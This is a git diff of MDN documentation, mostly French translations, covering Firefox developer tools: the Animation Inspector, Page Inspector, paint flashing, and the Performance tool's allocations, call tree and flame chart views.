It shows a synchronized timeline for every animation applied to the selected element or its children. The timeline starts at the start of the first animation, ends at the end of the last animation, and is labeled with markers every 250 milliseconds (this depends on the time scale of the animations currently displayed).

+ +

Animation bars

+ +

Each animation or transition is shown as a horizontal bar laid across the timeline. The bar is:

+ + + +

The bar contains a lightning bolt icon if the property was animated using the compositor thread (see more about the cost of animating different CSS properties).

+ +

The bar is shaped to reflect the easing effect used for the animation. In the example above you can see that the first bar is concave, representing ease-in, and the second is convex, representing ease-out.

+ +

If the animation used CSS transitions, there is one bar for each property transitioned, and it is labeled with the name of the property being transitioned. If the animation used CSS @keyframes, there is one bar for each animation, labeled with its name.

+ +

If the animation or transition had a delay, this is shown as a cross-hatched portion of the bar. delay and endDelay are both represented.

+ +

If you hover over the bar, a tooltip appears, giving you more detailed information about the animation or transition, including:

+ +
    +
  • the type of animation: CSS transition, CSS animation, or Web Animations API
    • +
  • the duration of the animation
    • +
  • the animation's start and end delay
    • +
  • the animation's easing (or timing function).
    • +
  • the animation's fill
    • +
  • the Playback rate of the animation
    • +
+ +

+ +

Information about the animated element

+ +

To the left of each bar is a selector for the element that the animation applies to. If you hover over this selector, the element is highlighted in the page. Click the selector to select the element in the inspector.

+ +

To the left of the selector is a "target" icon (). Clicking this icon locks the highlighter on the element.

+ +

Animation details

+ +

If you click one of the bars, you'll see details of all the properties that were changed in the animation. For example, try clicking on the bar for img#icon's animation:

+ +

+ +

This is telling us that two properties were modified: filter and transform. Each dot represents an entry for that property in the set of keyframes used for the animation. Both properties were initialized at 0ms and finalized at 750ms. filter was given a value at 250ms and transform at 500ms. If you hover over a dot, you'll see the value assigned to that property at that point in the timeline:

+ +

+ +

This is essentially a visual representation of the animation's keyframes:

+ +
var iconKeyframeSet = [
+  { transform: 'scale(1)',   filter: 'grayscale(100%)'                },
+  {                          filter: 'grayscale(100%)', offset: 0.333 },
+  { transform: 'scale(1.5)',                            offset: 0.666 },
+  { transform: 'scale(1.5)', filter: 'grayscale(0%)'                  }
+];
+ +

Application to the example

+ +

Applying all this to our example, we can see that:

+ +
    +
  • The animation involved two elements, span#note and img#icon. Hovering over these selectors, we can see that those elements are, respectively, the browser name "Firefox Developer Edition" and the browser icon.
    • +
  • The img#icon animation: +
      +
    • animated the filter and transform properties, to scale the icon and color it
      • +
    • lasted 750ms, had an endDelay of 100ms
      • +
    • used the compositor thread
      • +
    • was given an easing value of ease-in: you can see this by the concave shape of the green bar.
      • +
    +
    • +
  • The span#note animation: +
      +
    • animated the width and opacity properties, to make the name gradually appear
      • +
    • lasted 500ms, and had a delay of 150ms
      • +
    • was given an easing value of ease-out: you can see this by the convex shape of the green bar.
      • +
    +
    • +
+ +

Animation playback

+ +

At the top of the animation inspector:

+ +
    +
  • there are buttons to play/pause and restart the animation
    • +
  • there's a dropdown to change the animation playback rate
    • +
  • the current time in the animation is displayed.
    • +
+ +

Finally, if you click inside the bar at the top of the timeline, you get a scrubber that you can drag left and right to move backwards and forwards through the animation, and pinpoint exactly what's happening when.

+ +

Further information about animation compositing

+ +

If you open animation-inspector-compositing.html and click the red rectangle, a simple {{cssxref("opacity")}} animation will start. If you look at this in the Animation Inspector in Firefox 49+, you'll see that:

+ +
    +
  • The white lightning bolt icon now indicates whether all the animation properties have been optimized by running them through the compositor, where possible.
    • +
  • The bar tooltip also includes this information, as a further reminder. You'll get a message of "All animation properties are optimized."
    • +
  • The expanded animation information now includes a lightning bolt icon next to the properties whose animation has been optimized via the compositor.
    • +
+ +

+ +

Let's now look at animation-inspector-compositing-silly.html — this is the same example, except that now once the red rectangle is clicked we animate both the {{cssxref("left")}} and {{cssxref("transform")}} (with a translation) properties at the same time as {{cssxref("opacity")}}. It doesn't make much sense to try to animate a geometric property and a translation at the same time — the two effects won't be synchronized — so the transform property is deliberately not handed over to the compositor to handle. The Animation Inspector will tell you this — look at it now and you'll see that:

+ +
    +
  • The white lightning bolt icon in the bar has been replaced with a grey lightning bolt icon, to indicate that only some of the relevant properties are being optimized by the compositor.
    • +
  • The bar tooltip also includes this information, as a further reminder. You'll get a message of "Some animation properties are optimized."
    • +
  • Properties whose animation is not being optimized, but could be if you improved your code, are now given a dotted underline — see transform in the screenshot below. Hovering over this gives you a tooltip that explains why. In this case, the message is "Animations of 'transform' cannot be run on the compositor when geometric properties are animated on the same element at the same time."
    • +
+ +

+ +

Edit @keyframes

+ +

Any @keyframes rules associated with the currently selected element are displayed in the Rules view and are editable:

+ +

{{EmbedYouTube("mDHtLK88ZW4")}}

+ +

Edit timing functions

+ +

When you create a CSS animation you can specify a timing function: this determines the rate at which the animation progresses. One way to specify the timing function is with a cubic Bézier curve.

+ +

Timing functions defined as cubic Bézier curves get an icon in the Rules view. If you click the icon you get a visual editor for the curve, enabling you to drag P1 and P2, and see the results in the page:

+ +

{{EmbedYouTube("GW5-R2ewaqA")}}

+ +

This feature uses open source code from Lea Verou’s cubic-bezier.com.

+ +

The cubic Bézier editor includes a number of presets, grouped under "Ease-in", "Ease-out", and "Ease-in-out":

+ +

{{EmbedYouTube("Jx-J2Yy0aSg")}}

diff --git a/files/fr/tools/page_inspector/index.html b/files/fr/tools/page_inspector/index.html new file mode 100644 index 0000000000..ff14d6634c --- /dev/null +++ b/files/fr/tools/page_inspector/index.html @@ -0,0 +1,61 @@ +--- +title: Inspecteur +slug: Outils/Inspecteur +tags: + - CSS + - DOM + - Développement Web + - HTML + - Outils + - Styles +translation_of: Tools/Page_Inspector +--- +
{{ToolsSidebar}}
+ +

L'inspecteur sert à examiner et modifier l'HTML et le CSS d'une page web.

+ +

Il est possible d'examiner des pages ouvertes dans un navigateur Firefox local, ou bien dans des cibles distantes, par exemple un navigateur Firefox pour Android. Voir la page débogage distant pour apprendre comment connecter les outils de développement à une cible distante.

+ +
+

Visite guidée de l'interface utilisateur

+ +

Pour vous repérer dans l’inspecteur, voici une courte visite guidée de l'interface utilisateur.

+ +

Depuis Firefox 62, il est possible d'ouvrir la vue de Règles dans son propre panneau, il s'agit du mode à trois panneaux.

+ +
+

Comment ?

+ +

Pour savoir ce qu'il est possible de faire avec l'inspecteur, regardez les guides pratiques suivants :

+ +
+ +
+ +
+

Référence

+ +
+ +
diff --git a/files/fr/tools/page_inspector/keyboard_shortcuts/index.html b/files/fr/tools/page_inspector/keyboard_shortcuts/index.html new file mode 100644 index 0000000000..d69433edb7 --- /dev/null +++ b/files/fr/tools/page_inspector/keyboard_shortcuts/index.html @@ -0,0 +1,10 @@ +--- +title: Raccourcis Clavier +slug: Outils/inspecteur/Raccourcis_clavier +translation_of: Tools/Page_Inspector/Keyboard_shortcuts +--- +
{{ToolsSidebar}}

{{ Page ("fr/docs/tools/Keyboard_shortcuts", "page-inspector") }}

+ +

Raccourcis clavier

+ +

{{ Page ("fr/docs/tools/Keyboard_shortcuts", "all-toolbox-tools") }}

diff --git a/files/fr/tools/page_inspector/ui_tour/index.html b/files/fr/tools/page_inspector/ui_tour/index.html new file mode 100644 index 0000000000..b0f9e07205 --- /dev/null +++ b/files/fr/tools/page_inspector/ui_tour/index.html @@ -0,0 +1,94 @@ +--- +title: Visite guidée de l'interface utilisateur +slug: Outils/Inspecteur/UI_Tour +translation_of: Tools/Page_Inspector/UI_Tour +--- +
{{ToolsSidebar}}
+ +

Cet article présente les trois grandes parties de l'interface utilisateur de l'inspecteur, à savoir :

+ +
    +
  • Le bouton de sélection d'éléments
    • +
  • Le panneau HTML
    • +
  • Le panneau CSS
    • +
+ +

The all-new Inspector panel in Firefox 57.Ce guide est volontairement bref. Des liens vous permettent d'accéder aux pages détaillées expliquant le fonctionnement de l'inspecteur.

+ +

Le bouton de sélection d'éléments

+ +

L'inspecteur donne accès à des informations détaillées à propos de l'élément sélectionné. Ce bouton est l'une des façons de sélectionner un élément pour l'inspecter :

+ +

This is the button in Firefox 57 Inspector you can use to select elements on a web page.

+ +

Notez qu'il fait partie de la barre d'outils de la boîte à outils, et qu'il est immédiatement accessible depuis n'importe quel outil, pas seulement depuis l'inspecteur.

+ +

Pour savoir comment sélectionner un élément, voir le guide pour sélectionner un élément.

+ +

Le panneau HTML

+ +

L'inspecteur est divisé en deux parties. Celle de gauche est occupée par le panneau HTML:

+ +

These are the tasty new HTML and CSS panes in Firefox 57.

+ +

Pour en savoir plus sur la structure du panneau HTML, voir la page "Examiner et éditer le code HTML".

+ +

Le panneau CSS

+ +

La partie droite est occupée par le panneau CSS :

+ +

The rules view within the Inspector.Ce panneau CSS est composé de 5 vues :

+ +
    +
  • Règles
    • +
  • Calculé
    • +
  • Disposition
    • +
  • Animations
    • +
  • Polices
    • +
+ +

Utilisez ces onglets pour passer d'une vue à une autre.

+ +
+

Note : Depuis Firefox 62, il est possible d'ouvrir la vue de Règles dans son propre panneau, il s'agit du mode à trois panneaux.

+
+ +

La vue "Règles"

+ +

Cette vue liste toutes les règles CSS qui s'appliquent à l'élément sélectionné. Les règles sont ordonnées de la plus précise à la moins précise.

+ +

Voir "Examiner et éditer le CSS" pour plus de détails.

+ +

La vue "Calculé"

+ +

Cette vue liste toutes les règles CSS calculées pour l'élément sélectionné, ainsi qu'une représentation visuelle éditable du modèle de boite.

+ +

The Computed view within the Inspector.

+ +

 

+ +

Pour en savoir plus sur le modèle de boite, voir "Examiner et éditer le modèle de boite". Il est a noter qu'avant Firefox 50, le modèle de boite n'apparaissait pas dans cet onglet puisqu'il avait le sien.

+ +

Pour plus de détails sur les déclarations CSS de cette vue, voir "Examiner le CSS calculé".

+ +

La vue "Polices"

+ +

Cette vue liste toutes les polices présentes dans la page, ainsi que des exemples éditables.

+ +

 

+ +

The all-new Inspector panel in Firefox 57.

+ +

Voir "Voir les polices" pour plus de détails.

+ +

La vue "Animations"

+ +

Cette vue apporte des détails sur les animations relatives à l'élément sélectionné, ainsi qu'un contrôleur pour les interrompre.

+ +

 

+ +

This is the Animations pane in the Firefox 57 Inspector.

+ +

 

+ +

Voir "Travailler avec les animations" pour plus de détails.

diff --git a/files/fr/tools/paint_flashing_tool/index.html b/files/fr/tools/paint_flashing_tool/index.html new file mode 100644 index 0000000000..408372ebed --- /dev/null +++ b/files/fr/tools/paint_flashing_tool/index.html @@ -0,0 +1,86 @@ +--- +title: Outil de mise en surbrillance des zones repeintes +slug: Outils/Paint_Flashing_Tool +translation_of: Tools/Paint_Flashing_Tool +--- +
{{ToolsSidebar}}
+ +

L'outil de mise en surbrillance des zones repeintes lorsqu’il est activé met en surbrillance les parties de la page que le navigateur doit repeindre en réponse à un changement. Par exemple, lorsque l'utilisateur fait défiler, certains blocs vont être repeints. Avec l'aide de cet outil, il est possible de savoir si votre site web cause plus de repaint qu'il ne devrait. C'est important, car les repaints peuvent être des opérations très couteuses. Ainsi, éliminer les repaints inutiles peut améliorer la réactivité de votre site web.

+ +

Les Repaints et la réactivité

+ +

Lorsque le navigateur affiche une page web, il parse l'HTML et le CSS, détermine comment l'organiser et ensuite le peint pour pouvoir afficher du contenu sur l'écran. Lorsqu'un évènement qui peut changer une partie visible de la page se produit, le navigateur doit alors repeindre une partie de la page. Par exemple, un repaint sera nécessaire si l'utilisateur scrolle la page ou, place son curseur sur un élément disposant de la pseudo classe :hover qui change le style de l'élément.

+ +

Repeindre peut être une opération couteuse, le navigateur essaie donc de minimiser la partie à repeindre au maximum. Le navigateur essaie de trouver quelles parties de l'écran sont "endommagées" et ne repeint que celles-ci. Le navigateur sépare également le modèle de la page en couches qui vont à son avis être mises à jour indépendamment les unes des autres. Ainsi, le changement d'une couche n'oblige pas un repaint sur une autre couche, et lorsque le changement n'affecte qu'une relation entre deux couches (une animation par exemple) aucun repaint n'est nécessaire.

+ +

Les choix faits par un développeur web peuvent gêner le navigateur, lui imposant de faire plus de repaints et sur de plus grandes surfaces que nécessaire. Cela peut causer des pertes de réactivité dans les saisies utilisateur (aussi connu sous le nom de "janky"). C'est dans ces moments-là que l'outil de mise en surbrillance des zones repeintes s'avère utile : En montrant les zones que le navigateur repeint en réponse à un évènement, il est possible de voir s’il repeint plus que de raison.

+ +

Utiliser l'outil de mise en surbrillance des zones repeintes

+ +

Ouvrir la Boite à outils, puis cliquer sur l'icône nommée "afficher en surbrillance les zones repeintes" :

+ +

+ +

Après cela, les zones repeintes seront mises en surbrillance. Ainsi, après avoir bougé la souris et scrollé, la page ressemble à ceci :

+ +

Dans cet exemple il y a deux sources de repaints principales :

+ +
    +
  • Survoler des liens avec la souris font que le navigateur les repeint, ceux-ci ont en effet la pseudo-classe :hover.
    • +
  • Scroller fait que le navigateur repeint la partie de la page qui deviens visible au bas de la page, et également la barre de défilement en haut à droite.
    • +
+ +

Pour désactiver l'outil, il faut cliquer à nouveau sur le bouton de la boite à outils.

+ +

Exemple : transitions CSS

+ +

Un domaine dans lequel les choix d'implémentation impactent l'efficacité est les transitions CSS. L'exemple ce dessous montre deux façons différentes de déplacer un élément en utilisant une transition CSS. La première méthode applique la transition à la margin-left de l'élément, alors que la deuxième méthode déplace l'élément en utilisant la propriété transform.

+ +
<body>
+    <div id="container">
+      <div class="moving-box" id="moving-box-left-margin">Transition utilisant margin-left</div>
+      <div class="moving-box" id="moving-box-transform">Transition utilisant transform</div>
+    </div>
+</body>
+
+
+ +
#container {
+  border: 1px solid;
+}
+
+.moving-box {
+  height: 20%;
+  width:20%;
+  margin: 2%;
+  padding: 2%;
+  background-color: blue;
+  color: white;
+  font-size: 24px;
+}
+
+#moving-box-left-margin {
+  transition: margin-left 4s;
+}
+
+#moving-box-transform {
+  transition: transform 4s;
+}
+
+body:hover #moving-box-left-margin{
+  margin-left: 74%;
+}
+
+body:hover #moving-box-transform {
+  transform: translate(300%);
+}
+ +

Pour voir la transition, placez la souris dans l'espace ce dessous :

+ +

{{ EmbedLiveSample('Exemple_transitions_CSS', 600, 300) }}

+ +

Maintenant, activez l'outil puis essayez à nouveau. Il apparait alors que la version "margin-left" cause une série de repaints tout au long du déplacement de l'élément, alors que la version "transform" ne cause qu'un repaint au début et à la fin.

+ +

Pourquoi ? Parce que lors de l'utilisation de transform, le navigateur crée une couche séparée pour l'élément. Ainsi lorsque celui est déplacé, la seule chose qui est changée c'est la relation entre les deux couches, ce qui est géré lors de la composition. Ainsi, aucune des deux couches n'a besoin de repaint.

+ +

Dans ce cas, avec un style très simple, les différences de performance ne se font pas réellement ressentir. Cependant, si le style était couteux en performance, la différence pourrait être importante. Il est difficile de savoir quelles optimisations le navigateur fait pour économiser des repaints, et celles-ci peuvent changer d'une version à une autre. Ainsi tester votre site avec cet outil permet de s'assurer qu'il fonctionne toujours de façon optimale.

diff --git a/files/fr/tools/performance/allocations/index.html b/files/fr/tools/performance/allocations/index.html new file mode 100644 index 0000000000..21cdf3b008 --- /dev/null +++ b/files/fr/tools/performance/allocations/index.html @@ -0,0 +1,86 @@ +--- +title: Allocations +slug: Outils/Performance/Allocations +translation_of: Tools/Performance/Allocations +--- +
{{ToolsSidebar}}
+

La vue Allocations de l'outil Performance affiche quelles fonctions dans une page web allouent le plus de mémoire durant le profil.

+ +

C'est important pour la performance, car allouer beaucoup de mémoire ou faire beaucoup d'allocations peut activer le ramasse-miette (garabage collector). Celui-ci peut affecter la réactivité de la page.

+
+ +
+

La vue Allocations est une des nouveautés de Firefox 46.

+
+ +

Pour activer la vue Allocations, il faut activer l'option "Enregistrer les Allocations" dans les options de l'outil Performance, avant d'enregister un profil. Il faut ensuite enregistrer un profil, un nouvel onglet nommé "Allocations" apparaitra alors dans la barre d'outils :

+ +

{{EmbedYouTube("Le9tTo7bqts")}}

+ +

Anatomie de la vue allocations

+ +

La vue allocations ressemble à ceci :

+ +

+ +

Cette vue fait périodiquement des échantillons des allocations qui sont faites durant l'enregistrement. Chaque ligne représente une fonction pour laquelle au moins un échantillon d'allocation a été pris durant l'enregistrement.

+ +

La vue inclut les colonnes suivantes :

+ +
    +
  • Self Count: Le nombre d'échantillons d'allocations qui ont été prises dans cette fonction (affiché également en pourcentage du total)
    • +
  • Self Bytes: Le nombre total d'octets qui ont été alloués dans les échantillons d'allocations dans cette fonction (affiché également en pourcentage du total)
    • +
+ +

Les lignes sont triées par la colonne "Self Bytes".

+ +

Anisi dans l'exemple ci-dessus :

+ +
    +
  • 8904 échantillons ont été pris dans la fonction signalLater(), ce qui représente 28.57% du nombre total d'échantillons pris.
    • +
  • Ces échantillons ont alloué 1102888 octets, ce qui représente 30.01% de la taille totale de mémoire alloué par tous les échantillons.
    • +
+ +

À côté de chaque nom de fonction, se trouve une flèche de développement. Cliquer sur celle-ci affichera l'endroit d'où la fonction a été appelée :

+ +

+ +

Ici, il est possible de voir que signalLater() a été appelée depuis deux endroits : removeInner() et setSelectionInner(). Il est ainsi possible de remonter l'arbre d'appel et de mieux comprendre le contexte de ces allocations.

+ +

Self Cost et Total Cost

+ +
    +
+ +

Les colonnes de coût sont séparées en "Self" et en "Total". La colonne "Self" correspond aux échantillons pris seulement dans cette fonction. La colonne "Total" correspond aux échantillons pris dans cette fonction ou dans les fonctions appelées par cette fonction. Au premier niveau, ces deux colones sont les mêmes, vu que la vue représente les dernières fonctions (il s'agit d'une vue inversée de l'arbre d'appel). Mais, si l'on remonte l'arbre en développant les lignes, alors la différence devient visible.

+ +

+ +

Ici, 8904 échantillons ont été pris dans signalLater(). Mais signalLater() a été appelé depuis deux endroits : removeInner() et setSelectionInner(). Mais ces deux fonctions ont 0 en Self Count, ce qui veut dire qu'aucune allocation n'a été faite depuis ces fonctions. Cependant removeInner() a 8901 en Total Count, tandis que setSelectionInner() a seulement 3 en Total Count. Cela révèle que sur les 8904 allocations faites dans signalLater(), toutes sauf trois proviennent de la branche removeInner().

+ +

Allocations et garbage collection

+ +

Bien sûr, en savoir plus sur l'utilisation mémoire d'un site est très utile. Cependant la connexion principale entre la réactivité d'un site et le profil d'allocation réside dans le coût de la garbage collection (GC) (ramasse-miette).

+ +

Dans un langage à ramasse miette comme JavaScript, le runtime a périodiquement besoin de parcourir la heap à la recherche d'objets qui ne sont plus accessibles, pour libérer l'espace mémoire qu'ils occupent. Lors du passage du ramasse-miette, le moteur JavaScript doit être mis en pause, le programme est donc suspendu et ne répondra pas.

+ +

Pour réduire l'impact de ce phénomène sur la réactivité des sites, SpiderMonkey (le moteur JavaScript de Firefox) possède un ramasse-miette incrémental. Celui-ci procède par petites étapes, lassant le programme tourner entre chaque incrémentation. Quelques fois cependant le moteur a besoin de réaliser un passage complet non incrémental et le programme doit alors attendre la fin du nettoyage.

+ +

Les passages du ramasse-miette sont affichés en rouge dans la vue Chronologie, et sont des véritables points noirs pour la réactivité, ils peuvent en effet prendre jusqu'a des centaines de millisecondes :

+ +

+ +

Que faire en cas de passage intempestif du ramasse-miette ? SpiderMonkey utilise un ensemble complexe d'heuristiques pour déterminer quand et quel type de passage de ramasse-miette est nécessaire.

+ +

En général, cependant : "l'allocation pressure" - allouer beaucoup de mémoire ou allouer de la mémoire a haute fréquence - tend a augmenter la probabilité de SpiderMonkey à ordonner le passage du ramasse-miette, et tend également a faire plus de passages non incrémentaux.

+ +

Si un passage du ramasse-miette a été causé par de "l'allocation pressure", alors le panneau droit du marqueur dans la vue Chronologie contient un lien nommé "Show allocation triggers". Cliquer sur celui-ci passe la vue en vue allocations et sélectionne la période de temps entre la fin du dernier passage du ramasse-miette et le début de celui qui a été cliqué. Cela révèle toute les allocations qui ont amené à déclencher ce passage du ramasse-miette :

+ +

{{EmbedYouTube("tO5ovD9Jw4k")}}

+ +

Si vous rencontrez ces problèmes, il est conseillé d'essayer de réduire la taille de vos allocations. Par exemple :

+ +
    +
  • Est-il possible d'allouer de la mémoire en "lazy load", lorsqu'elle est nécessaire plutôt que de l'allouer en avance ?
    • +
  • Si vous allouez de la mémoire dans une boucle, pouvez-vous réutiliser une seule allocation dans chaque itération ?
    • +
diff --git a/files/fr/tools/performance/call_tree/index.html b/files/fr/tools/performance/call_tree/index.html new file mode 100644 index 0000000000..e8a3447894 --- /dev/null +++ b/files/fr/tools/performance/call_tree/index.html @@ -0,0 +1,122 @@ +--- +title: Arbre d'appels +slug: Outils/Performance/Call_Tree +translation_of: Tools/Performance/Call_Tree +--- +
{{ToolsSidebar}}
+ +
+

L'arbre d'appel permet de savoir dans quelles fonctions JavaScript le navigateur passe le plus de temps. En analysant ces résultats, il est possible de trouver les points noirs du code (les endroits ou le navigateur passe beaucoup trop de temps).

+ +

Ces points noirs sont les endroits où les optimisations auront le plus grand impact.

+
+ +

L'arbre d'appel est un profileur par échantillons. Il prend périodiquement des échantillons de l'état du moteur JavaScript, et enregistre la pile pour le code s'exécutant dans ce moment. Statistiquement, le nombre d'échantillons dans lequel on exécute une fonction en particulier correspond au temps que le navigateur passe à l'exécuter. Il est alors possible de trouver les points noirs de votre code.

+ +
+

Cet article utilisera le résultat d'un programme simple comme exemple. Si vous voulez récupérer ce programme pour expérimenter l'outil vous-même, il est disponible ici. Vous pouvez trouver le profil discuté dans cet article ici - importez juste le profil dans l'outil Performance pour pouvoir voir le profil utilisé dans cet article.

+ +

Il y a une courte page décrivant la structure du programme disponible ici.

+ +

Il est à noter que le même programme et le même profil est utilisé pour la page de documentation sur le Flame Chart.

+
+ +

La capture d'écran ci-dessous montre les résultats d'un programme qui compare trois différents algorithmes de tri (tri à bulle, tri par sélection et tri rapide). Pour faire cela, il génère un nombre de tableaux remplis avec des int aléatoires et les tris avec chaque algorithme.

+ +

Nous avons zoomé dans une partie de l'enregistrement qui montre un long marker JavaScript :

+ +

+ +

L'arbre d'appel présente les résultats dans un tableau. Chaque ligne représente une fonction dans laquelle au moins un échantillon a été pris, et les lignes sont classées par nombre d'échantillons pris dans la fonction.

+ +

Échantillons correspond au nombre d'échantillons pris lors de de l'exécution de la fonction. Cela inclu ses enfants (les autres fonctions appelées par cette fonction).

+ +

Durée Totale correspond est ce nombre, traduit en millisecondes, basées sur le temps total couvert par la portion sélectionnée de l'enregistrement. Ces deux nombres devraient être approximativement les même.

+ +

Cout Total correspond à ce nombre traduit en pourcentage du nombre total d'échantillons dans la portion sélectionnée de l'enregistrement.

+ +

Coût individuel correspond au temps passé dans cette fonction en particulier, sans inclure ses enfants. Cela vient de la pille capturé lorsque cette fonction est la plus basse.

+ +

Durée individuelle est calculé depuis Coût individuel comme un pourcentage du nombre total d'échantillons dans la portion sélectionnée de l'enregistrement.

+ +

Dans la version actuelle de l'arbre d'appel, ce sont les colones les plus importantes. Les fonctions avec un Cout individuel important sont de bons candidats pour de l'optimisation, soit parce qu’elles prennent beaucoup de temps à s'exécuter, soit parce qu'elles sont appelées très souvent.

+ +

Cette capture d'écran révèle ce que l'on savait déjà : bubbleSort() est un algorithme très inefficace. Il y a à peu près 6 fois plus d'échantillons dans bubbleSort() que de dans selectionSort(), et 13 fois plus dans que dans quickSort().

+ +

Se déplacer dans l'arbre d'appel

+ +

A coté de chaque nom de fonction, se trouve une flèche d'expansion : cliquer sur celle-ci révèle le chemin allant de l'appel de la fonction jusqu'a la racine. Par exemple, il est possible d'étendre l'entrée pour bubbleSort() :

+ +

+ +

On peut donc voir que le graphique d'appel est comme ceci :

+ +
sortAll()
+
+    -> sort()
+
+        -> bubbleSort()
+ +

Notez également que le Cout individuel pour sort() est ici de 1.45%, et notez également que ce chiffre est le même pour une autre ligne de sort() plus tard dans la liste. Cela révèle que quelques échantillons ont été pris dans sort() elle-même plutôt que dans la fonction qu'elle appelle.

+ +

Quelques fois, il y a plus d'un chemin menant à la même fonction. Essayons par exemple d'étendre la ligne de swap():

+ +

+ +

Il y a 253 échantillons qui ont été pris à l'intérieur de swap(). Mais swap() a été accédé par deux chemins différents car bubbleSort() et selectionSort() l'utilisent tous deux. Il est également possible de voir que 252 des 253 échantillons ont été pris dans la branche bubbleSort(), et uniquement un dans la branche selectionSort().

+ +

Cela signifie que le tri à bulle est encore moins efficient que ce que l'on pensait ! La fonction coute 252 échantillons de plus, soit 10% de cout supplémentaire.

+ +

Avec ce genre de recherche, il est possible de déduire le graphique d'appel complet, avec le nombre d'échantillons associés :

+ +
sortAll()                         //    8
+
+    -> sort()                     //   37
+
+        -> bubbleSort()           // 1345
+
+            -> swap()             //  252
+
+        -> selectionSort()        //  190
+
+            -> swap()             //    1
+
+        -> quickSort()            //  103
+
+            -> partition()        //   12
+ +

Données de la plateforme

+ +

Vous pouvez également remarquer des lignes nommées Gecko, Input & Events, et ainsi de suite. Cela représente les appels internes au navigateur.

+ +

Cela peut être utile comme informations. Par exemple si votre site donne beaucoup de travail au navigateur. Ces échantillons ne sont peut-être pas pris dans votre code, mais c'est quand même votre problème.

+ +

Dans notre exemple, il y a 679 échantillons assignés à Gecko - le deuxième plus gros groupe après bubbleSort(). étendons donc cela :

+ +

+ +

Cela révèle que 614 de ces échantillons, soit environ 20% du cout total, viennent de l'appel de sort(). Si nous regardons au code de la fonction, il devient évident que le cout élevé des données de plateforme viennent des appels répétés à console.log():

+ +
function sort(unsorted) {
+  console.log(bubbleSort(unsorted));
+  console.log(selectionSort(unsorted));
+  console.log(quickSort(unsorted));
+}
+ +

Il serait certainement intéressant de considérer des façons plus efficientes d'implémenter cela.

+ +

Une chose à garder en tête est que les périodes d'inactivité sont classifiées en tant que Gecko, donc les parties de votre profil où votre JavaScript ne tourne pas contribueront aux échantillons Gecko. Ces échantillons n'impactent pas la performance de votre site.

+ +
+

Par défaut, l'arbre d'appel ne sépare par les données de plateforme dans des fonctions séparées, car elles ajoutent beaucoup de nuisance et ces détails ont peu de chances d'être utiles à des personnes ne travaillant sur le développement de Firefox. Si vous voulez cependant voir ces détails, il faut cocher l'option "Afficher les données de la plateforme Gecko" dans les options.

+
+ +

 

+ +

Utiliser un arbre inversé ( Bottom-Up)

+ +

Un arbre d'appel inversé, inverse l'ordre de toutes les piles, en mettant la fonction la plus loin dans l'arbre au début. La conséquence directe est que cette vue se focalise plus sur l'information Durée Individuelle. Cette vue est pratique pour trouver les points "chauds" du code.

+ +

Pour afficher cette vue, cliquer sur l'icône en forme d'engrenage dans la partie droite et de cliquer sur L'arbre d'appel.

+ +

diff --git a/files/fr/tools/performance/examples/index.html b/files/fr/tools/performance/examples/index.html new file mode 100644 index 0000000000..e3ca28d9bd --- /dev/null +++ b/files/fr/tools/performance/examples/index.html @@ -0,0 +1,8 @@ +--- +title: Exemples +slug: Outils/Performance/Examples +translation_of: Tools/Performance/Examples +--- +
{{ToolsSidebar}}

Liste des pages de démos pour les scénarios de performances et walkthroughs.

+ +

{{ ListSubpages ("/en-US/docs/Tools/Performance/Examples", 5) }}

diff --git a/files/fr/tools/performance/examples/sorting_algorithms_comparison/index.html b/files/fr/tools/performance/examples/sorting_algorithms_comparison/index.html new file mode 100644 index 0000000000..608691a9d5 --- /dev/null +++ b/files/fr/tools/performance/examples/sorting_algorithms_comparison/index.html @@ -0,0 +1,71 @@ +--- +title: Comparaison des algorithmes de tri +slug: Outils/Performance/Examples/Sorting_algorithms_comparison +translation_of: Tools/Performance/Examples/Sorting_algorithms_comparison +--- +
{{ToolsSidebar}}

Ce articlé décrit un programe simple qui est utilisé dans deux des guides de l'outil Performance : le guide pour l'arbre d'appel et le guide pour le diagramme de flamme.

+ +

Ce programme compare les performances de trois algorithmes de tri différents :

+ +
    +
  • le tri à bulles
    • +
  • le tri par sélection
    • +
  • le Ttri rapide
    • +
+ +

Ce programme est composé des fonctions suivantes :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
sortAll()Fonction principale. génère itérativement (200 itérations) des tableaux aléatoires et appellesort().
sort()Appelle les fonctions bubbleSort(), selectionSort(), et quickSort() tour à tour et affiche le résultat.
bubbleSort()Implémente un tri à bulles, retourne le tableau trié
selectionSort()Implémente un par sélection retourne le tableau trié
quickSort()Implémente un tri rapide, retourne le tableau trié
swap()fonction d'aide pour bubbleSort() et selectionSort().
partition()fonction d'aide pour quickSort().
+ +

le graphique d'appel ressemble à ceci :

+ +
sortAll()                     // (génère un tableau aléatoire puis appelle sort) x 200
+
+    -> sort()                 // tri le tableau avec chaque tri et affiche le résultat
+
+        -> bubbleSort()
+
+            -> swap()
+
+        -> selectionSort()
+
+            -> swap()
+
+        -> quickSort()
+
+            -> partition()
+ +

Les implémentations des algorithmes de tri dans ce programme ont été tirées du dépôt https://github.com/nzakas/computer-science-in-javascript/ et sont utilisées sous la licence MIT.

+ +

Vous pouvez tester ce programme d'exemple ici et cloner le code ici (soyez sûr de bien check out la branche gh-pages).

diff --git a/files/fr/tools/performance/flame_chart/index.html b/files/fr/tools/performance/flame_chart/index.html new file mode 100644 index 0000000000..0bcb285b4d --- /dev/null +++ b/files/fr/tools/performance/flame_chart/index.html @@ -0,0 +1,103 @@ +--- +title: Flame Chart +slug: Outils/Performance/Flame_Chart +translation_of: Tools/Performance/Flame_Chart +--- +
{{ToolsSidebar}}
+

Le Flame Chart affiche l'état de la pile JavaScript de votre code à chaque milliseconde durant le profil de performance.

+ +

Cela permet de savoir exactement quelle fonction s'est exécutée à un moment donné dans l’enregistrement, combien de temps elle a mis, et d'où elle a été appelée.

+
+ +

L'Arbre d'appel et le Flame Chart sont tous deux utilisés pour analyser les performances du code JavaScript de pages web. Et ils utilisent tous deux les mêmes données : des échantillons de la pile du moteur JavaScript, pris périodiquement durant l'enregistrement.

+ +

Cependant, tandis que le Call Tree organise ces données pour mettre en évidence les endroits où le code passe le plus de temps, de manière cohérente à travers tout l'enregistrement, le Flame Chart lui utilise ces données pour afficher où exactement dans l'enregistrement les fonctions s'exécutent. Essentiellement, il affiche l'état de la pile d'appel à n’importe quel point donné de l'enregistrement.

+ +

Voici une capture d'écran montrant le Flame Chart pour une section d'un profil :

+ +

+ +

